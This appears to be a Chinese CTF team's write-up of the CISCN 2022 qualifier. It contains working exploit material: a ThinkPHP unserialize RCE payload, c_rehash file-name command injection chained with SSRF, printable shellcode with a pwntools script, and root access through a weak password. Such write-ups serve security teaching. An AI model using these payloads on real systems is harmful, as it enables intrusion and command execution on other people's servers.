引言
第十五届全国大学生信息安全竞赛创新实践能力赛(CISCN 2022) - 线上初赛
比赛地址:
知识问答地址(5月28日10:00开放):
场景实操地址(5月28日10:00开放):
又是一年一度的国赛,今年比赛时间从 24h 修改成了 10h,属实比去年 CTF 高考轻松了不少(呜呜
今年国赛也是一堆 ddl 的夹缝中度过,不过不是和 Asuri 一起打啦(润啦),今年就和现在的校队师傅们组了个 xdlddw 战队来摸鱼。
(嗯,熊大佬带带我
这篇大部分来自 xdlddw 战队的 writeup,喵喵主要看的是 Web 和 Misc(以及非预期的 Crypto?),其他题目是队友做的,队友强强!
Web
Ezpop
最近,小明在学习php开发,于是下载了thinkphp的最新版,但是却被告知最新版本存在漏洞,你能找到漏洞在哪里吗?
www.zip
源码泄露,/www/app/controller/Index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function test()
{
unserialize($_POST['a']);
}
}
test 路由下接收一个参数 a
,进行反序列化。
改一改 payload
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
然后打到 /index.php/index/test
路由下就行了
POST /index.php/index/test HTTP/1.1
Host: eci-2ze4zrgge5xdi5zfbgbu.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=8c268871dacd5c7b5c0add864501efde
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Content-Length: 1251
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
online_crt
快来生成一个自己的ssl证书吧~
给了源码,后端包括 python 和 golang
先看这 Python 后端源码
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(16)
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
/getcrt
生成一个证书
/createlink
路由 会调用 c_rehash 创建证书链接
搜了一下发现 openssl c_rehash 前不久就有个 CVE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1292
根据修复的 diff 提示了在文件名处可以实现 rce
而 /proxy
路由可以构造 SSRF,调用 golang 后端。虽然用的是 GET 方法,但是和 POST 其实一样,都能处理 body 部分的 form 数据。
再看 golang 后端
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
/admin/rename
可以改名,于是想到把要执行的命令放到文件名,在 c_rehash 执行的时候就会执行了
不过有条件,需要 c.Request.URL.RawPath != "" && c.Request.Host == "admin"
后者的话直接在 /proxy
路由构造 SSRF Host 字段就可以了
前者的话,**RawPath
只有在原始path
中包含了转义字符时才会有值。**
于是整个流程理了一遍,可以开始做题了。
首先 /getcrt
新建一个证书,拿到文件名
然后构造文件名,根据 c_rehash 的源码,需要文件名以 .(pem)|(crt)|(cer)|(crl)
结尾
sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_cert_old($fname) if ($cert);
link_hash_crl($fname) if ($crl);
link_hash_crl_old($fname) if ($crl);
}
}
不过试了半天 payload 最后发现好像不出网……
最后么得办法,构造 touch $(cat /flag)
,base64 编码一下,把 flag 写到文件名上
echo${IFS}"dG91Y2ggJChjYXQgL2ZsYWcp"|base64${IFS}-d|sh${IFS}-i
再配合合适的文件名,加上引号闭合掉
1.crt"||echo${IFS}"dG91Y2ggJChwcyAtZWZ8YmFzZTY0KQ=="|base64${IFS}-d|sh${IFS}-i"
然后构造 SSRF,闭合掉 /proxy
请求,设置 host 为 admin。
GET /proxy HTTP/1.1
Host: xxxx.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=c526484542a6d2cfc5d4b1dbd1722c09
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIZBj4kiaMbZzC9WL
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 317
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="uri"
/admin%2frename?oldname=f5f729cb-d402-4665-b12c-a55fcc970d9a.crt&newname=1.crt"||echo${IFS}"dG91Y2ggJChwcyAtZWZ8YmFzZTY0KQ=="|base64${IFS}-d|sh${IFS}-i" HTTP/1.1
Host: admin
GET /
------WebKitFormBoundaryIZBj4kiaMbZzC9WL--
或者也可以用 application/x-www-form-urlencoded
,但是 path 中的转义需要二次 url 编码,否则会返回 400
然后再访问 /createlink
就可以得到回显的 flag
(别问,问就是试了几个小时怎么构造 payload 读 flag 再回显回来。。
赛后问了下其他师傅,说直接 cat /flag > 1
,然后直接下载 /static/crt/1
就完事了。
草,static 目录下是能直接读的,我是废物了,浪费了一堆时间,呜呜
另外,其实还可以构造个带反引号的文件名,从而触发执行。但是由于 Linux 下的文件名不能包含目录分隔符 /
(当然带有 \
就可以) ,于是得找个变量来代替。
参考 白帽酱的 writeup,发现环境变量中 OLDPWD
的值刚好为我们所需要的 /
uri=/admin%2frename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0`cat ${OLDPWD}flag >miaotony`.crt
记得 urlencode 就行
(其实最开始喵喵就试过反引号执行了,但是不知道为啥不行,最后才知道是带有 /
的锅
Misc
ez_usb
简单的流量。
USB 数据抓包,2.8.1 和 2.10.1 两个设备都是键盘
筛选一下 usb.src == “2.10.1” || usb.dst == “2.10.1” 这样,导出特定分组
用 https://github.com/WangYihang/UsbKeyboardDataHacker 解码一下
[+] Found : 35c535765e50074a
[+] Found : 526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700
去掉 CAP 和 DEL 之前的一个字符
526172211a0700cf907300000d00000000000000c4527424943500300000002a00000002b9f9b0530778b5541d33080020000000666c61672e747874b9ba013242f3afc000b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c43d7b00400700
发现其中 2.8.1 出来是个 rar 压缩包,里面有个 flag.txt
,但是加密了
在 2.10.1 这个解密得到密码为 35c535765e50074a
拿去解压得到 flag
flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}
everlasting_night
永恒的夜,又隐藏着什么真相?
仔细观察png数据块,通道隐藏的数据可以配合lsb隐写
(复现一下
开局一张图
文件 hex 最后一串奇怪的东西
FB3EFCE4CEAC2F5445C7AE17E3E969AB
长度32,试了半天最后才知道这个是 md5
去 https://www.somd5.com/ 解一下,得到 ohhWh04m1
(这个居然 https://www.cmd5.com/ 还搜不到,离谱
图片 alpha2 层右下角有一排隐写
类似于 LSB,选择 column,导出一下
得到 f78dcd383f1b5734624b
同时 R0 G0 B0 都很明显存在 LSB 隐写,但是没看出有啥明显的可解密的东西
最后发现得用 cloacked-pixel
cloacked-pixel
Platform independent Python tool to implement LSB image steganography and a basic detection technique. Features:
- Encrypt data before insertion.
- Embed within LSBs.
- Extract hidden data.
- Basic analysis of images to detect LSB steganography.
将 f78dcd383f1b574b
作为密码进行解密
$ python2 lsb.py extract everlasting_night.png out f78dcd383f1b574b
[+] Image size: 1920x1080 pixels.
[+] Written extracted data to out.
得到个 zip,使用 ohhWh04m1
解压得到一个 flag
文件
看起来是个 png 但是打不开。
后缀改为 .data
,使用 GIMP 修改宽度,最后得到 flag。
Crypto
签到电台
题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。
请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示)
从题目以及微信提示获取明文和密码本,进行模10加法之后得到密文:2847974251850121377742262604
查看输入密文的网页,是一个模拟摩尔斯电码的电台,随意输入一些.和_,检查网络可以发现实际发送的就是密文,所以直接:
http://eci-2ze9sic3tak3xix1s6h3.cloudeci1.ichunqiu.com:8888/send?msg=2847974251850121377742262604
获取flag
基于挑战码的双向认证
本题含有两个flag,请点击“下发赛题”,本题容器下发后的端口是ssh端口,ssh的账号密码均为:player;ssh登录上去可自行修改密码。请参考说明文档,获取flag,并在本题提交第一个获取到的flag。
给出的服务器上文件读取权限设置不当(755),可以直接进入root目录下找到 cube-shell/instance/flag_server
中的 flag1.txt 和 flag2.txt。
基于挑战码的双向认证2
同上。
基于挑战码的双向认证3
给出的服务器上,root用户使用了弱密码(toor),直接登陆后同前两题直接读取即可。
(所以这三道 crypto 都被非预期了,笑死
ISO9798
nc 之后先进行一个SHA256爆破
import hashlib
dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
result='35d922f11e99a61a0d04ad7e45e4d403dc215857c39f378970d9af07015e39b6'
known="fGyesK450LYj7f1m"
for i in dic:
for j in dic:
for k in dic:
for z in dic:
key=i+j+k+z
s=key + known
h=hashlib.sha256(s.encode('ascii')).hexdigest()
if h==result:
print(key)
exit(0)
然后得到四位XXXX,输入。
此时进入正题,要求输入 128 bits 随机数,生成一个即可。
from Crypto.Random import random
bit = random.getrandbits(128)
print(hex(bit))
该输入将作为 rB,服务器端会给出一个 rA 和 B,然后生成一个密钥参数 k,使用这些参数进行 AES 加密,其中使用 rA||rB||B 作为明文,得到一个128x3 bits 长的密文串,要求输入明文为 rB||rA 对应的密文。
根据题目性质,猜测使用的是 AES-ECB 模式,ECB实际上每一段之间没关系,把之前得到的密文(128x3 bits)的第二段和第一段交换后合并提交即可通过,最后服务器会给出 flag。
以下是当时给出的真实参数,虽然最后服务器给出的 flag 没有记录,但是在此列出这些参数作为交换并合并这一步的示例,其中 a 为输入的 128 bits rB,b 为 128x3 bits的密文,交换第一、二行后合并提交即可。
Reverse
baby_tree
可以看出这是由swift dump出的ast,对着ast一行一行翻译可以得到如下的c++代码:
bool check(std::string encoded, std::string keyValue)
{
const char *b = encoded.c_str();
const char *k = keyValue.c_str();
unsigned char r0, r1, r2, r3;
for (int i = 0; i < encoded.length() - 4; i++)
{
r0 = b[i];
r1 = b[i + 1];
r2 = b[i + 2];
r3 = b[i + 3];
b[i] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff);
b[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff);
b[i + 2] = r0 ^ k[2];
b[i + 3] = r1 ^ k[3];
char k0 = k[0];
k[0] = k[1];
k[1] = k[2];
k[2] = k[3];
k[3] = k0;
}
char result[] = {88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16}
return memcmp(b, result, sizeof(result));
}
int main(int argc, char *argv[])
{
if (argc >= 2)
{
std::string data = argv[1];
std::string key = "345y";
bool result = check(data, key);
}
}
因此可以得到解密的代码:
r1 = data[i + 3] ^ k[3]
r0 = data[i + 2] ^ k[2]
r3 = data[i + 1] ^ ((k[1] + (r1 >> 2)) & 0xff)
r2 = data[i] ^ ((k[0] + (r0 >> 4)) & 0xff)
由于k每次循环回做一次轮换,只需要遍历'345y'
、'y345'
、'5y34'
、'45y3'
这几个字符串,得出正确的key即可。
b = [88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
k = list('5y34'.encode())
data = [x for x in b]
print(len(b))
for i in range(len(b) - 4, -1, -1):
r1 = data[i + 3] ^ k[3]
r0 = data[i + 2] ^ k[2]
r3 = data[i + 1] ^ ((k[1] + (r1 >> 2)) & 0xff)
r2 = data[i] ^ ((k[0] + (r0 >> 4)) & 0xff)
(data[i], data[i + 1], data[i + 2], data[i + 3]) = (r0, r1, r2, r3)
(k[1], k[2], k[3], k[0]) = (k[0], k[1], k[2], k[3])
print(len(data))
print(bytes(data))
babycode
使用mruby -b -v babycode.mrb即可得到mruby字节码,对着字节码进行分析可以得到功能相近的python代码,很容易发现这是一种xtea加密的变体,写出解密代码即可获得flag。
分析出的功能相近的python代码以及解密代码如下:
from struct import unpack
class Crypt:
class CIPHER:
XX = 0x12345678
YY = 16
def encrypt(t, p):
cip = Crypt.CIPHER()
return cip._encrypt(t, p)
def decrypt(t, p):
c = [int(t[i:i+8], 16) for i in range(0, len(t), 8)]
cip = Crypt.CIPHER()
return cip._decrypt(c, p)
def _encrypt(self, t, p):
key = Crypt.CIPHER.to_key(p)
c = []
n = 0
while n < len(t):
num1 = int(ord(t[n])) << 24
num1 += int(ord(t[n + 1])) << 16
num1 += int(ord(t[n + 2])) << 8
num1 += int(ord(t[n + 3]))
num2 = int(ord(t[n + 4])) << 24
num2 += int(ord(t[n + 5])) << 16
num2 += int(ord(t[n + 6])) << 8
num2 += int(ord(t[n + 7]))
(enum1, enum2) = Crypt.CIPHER.enc_one(num1, num2, key)
c.append(enum1)
c.append(enum2)
n += 8
return ''.join(map(lambda x: '%.8x' % x, c))
def _decrypt(self, t, p):
key = Crypt.CIPHER.to_key(p)
dec = []
for i in range(0, len(t), 2):
s = Crypt.CIPHER.YY * Crypt.CIPHER.XX
y, z = t[i], t[i + 1]
for turn in range(Crypt.CIPHER.YY):
z -= (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
z &= 4294967295
s -= Crypt.CIPHER.XX
y -= (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
y &= 4294967295
dec.append(y >> 24)
dec.append((y >> 16) & 255)
dec.append((y >> 8) & 255)
dec.append(y & 255)
dec.append(z >> 24)
dec.append((z >> 16) & 255)
dec.append((z >> 8) & 255)
dec.append(z & 255)
return dec
def to_key(p):
return unpack('LLLL', p.encode())
def enc_one(num1, num2, key):
y = num1
z = num2
s = 0
for i in range(Crypt.CIPHER.YY):
y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
y &= 4294967295
s += Crypt.CIPHER.XX
z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[s & 3])
z &= 4294967295
return (y, z)
def check(p):
i = 0
lst_ch = 0
p = list(p)
while i < len(p):
c = ord(p[i])
p[i] = chr(c ^ lst_ch ^ (i + 1))
lst_ch = c
i += 1
p = ''.join(p)
k = 'aaaassssddddffff'
cipher_text = Crypt.CIPHER.encrypt(p, k)
return cipher_text == 'f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb'
dec = Crypt.CIPHER.decrypt('f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb', 'aaaassssddddffff')
for i in range(len(dec)):
lst_ch = 0 if i == 0 else dec[i - 1]
dec[i] = dec[i] ^ lst_ch ^ (i + 1)
print(''.join(map(chr, dec)))
p = input().strip()
if Crypt.check(p):
print('yes')
Pwn
login-nomal
通过搜索可以找到x64可打印shellcode
https://nuoye-blog.github.io/2020/05/09/8002891b/
PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA
直接放入发现执行报错,使用反汇编得到汇编代码
push rax
push rax
pop rcx
push 0x41413030
pop rax
xor dword ptr [rcx + 0x30], eax
push 0x34303041
pop rax
xor dword ptr [rcx + 0x34], eax
push 0x41303041
pop rax
xor dword ptr [rcx + 0x38], eax
push rcx
pop rax
xor al, 0x34
push rax
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax
push 0x41
pop rax
xor al, 0x7a
outsb dx, byte ptr [rsi]
outsd dx, dword ptr [rsi]
outsb dx, byte ptr [rsi]
push rdx
pop rcx
pop rdx
outsb dx, byte ptr [rsi]
pop r8
而题目中使用rdx作为跳转寄存器
.text:0000000000000E8B call _mmap
.text:0000000000000E90 cdqe
.text:0000000000000E92 mov [rbp+dest], rax
.text:0000000000000E96 mov rax, [rbp+s]
.text:0000000000000E9A mov rdi, rax ; s
.text:0000000000000E9D call _strlen
.text:0000000000000EA2 mov rdx, rax ; n
.text:0000000000000EA5 mov rcx, [rbp+s]
.text:0000000000000EA9 mov rax, [rbp+dest]
.text:0000000000000EAD mov rsi, rcx ; src
.text:0000000000000EB0 mov rdi, rax ; dest
.text:0000000000000EB3 call _memcpy
.text:0000000000000EB8 mov rax, [rbp+dest]
.text:0000000000000EBC mov [rbp+var_20], rax
.text:0000000000000EC0 mov rdx, [rbp+var_20]
.text:0000000000000EC4 mov eax, 0
.text:0000000000000EC9 call rdx
.text:0000000000000ECB jmp short loc_EE3
对shellcode进行修改可得:
push rdx
push rdx
pop rcx
push 0x41413030
pop rax
xor dword ptr [rcx + 0x30], eax
push 0x34303041
pop rax
xor dword ptr [rcx + 0x34], eax
push 0x41303041
pop rax
xor dword ptr [rcx + 0x38], eax
push rcx
pop rax
xor al, 0x34
push rax
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax
push 0x41
pop rax
xor al, 0x7a
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x58
.byte 0x41
编译一下发现其实就是前两个字符不同
In [8]: asm('push rdx')
Out[8]: b'R'
In [9]: asm('push rax')
Out[9]: b'P'
直接改前两个字符
from pwn import *
p=process('./login')
p.sendlineafter(b'>>>',b'opt:1\nmsg:ro0tt\n')
p.sendlineafter(b'>>>',b'opt:2\nmsg:RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA1\n')
p.interactive()
小结
华东南太卷啦!
场景实操 / CTF 打了全国第33名,华东南赛区第9;总排名全国第34,华东南第10。
xdlddw!
另外,感觉 i春秋 这次分数设置得有点不合理,最低分设成了8pts,500->8 曲线太陡峭了,于是最后分差都很小,挺离谱的。
就这样吧,摸了。队友们强强!
经过两个多月的努力,上海终于进入全面恢复正常生产生活阶段了(终于解封了啊…… 太难了
溜了溜了喵(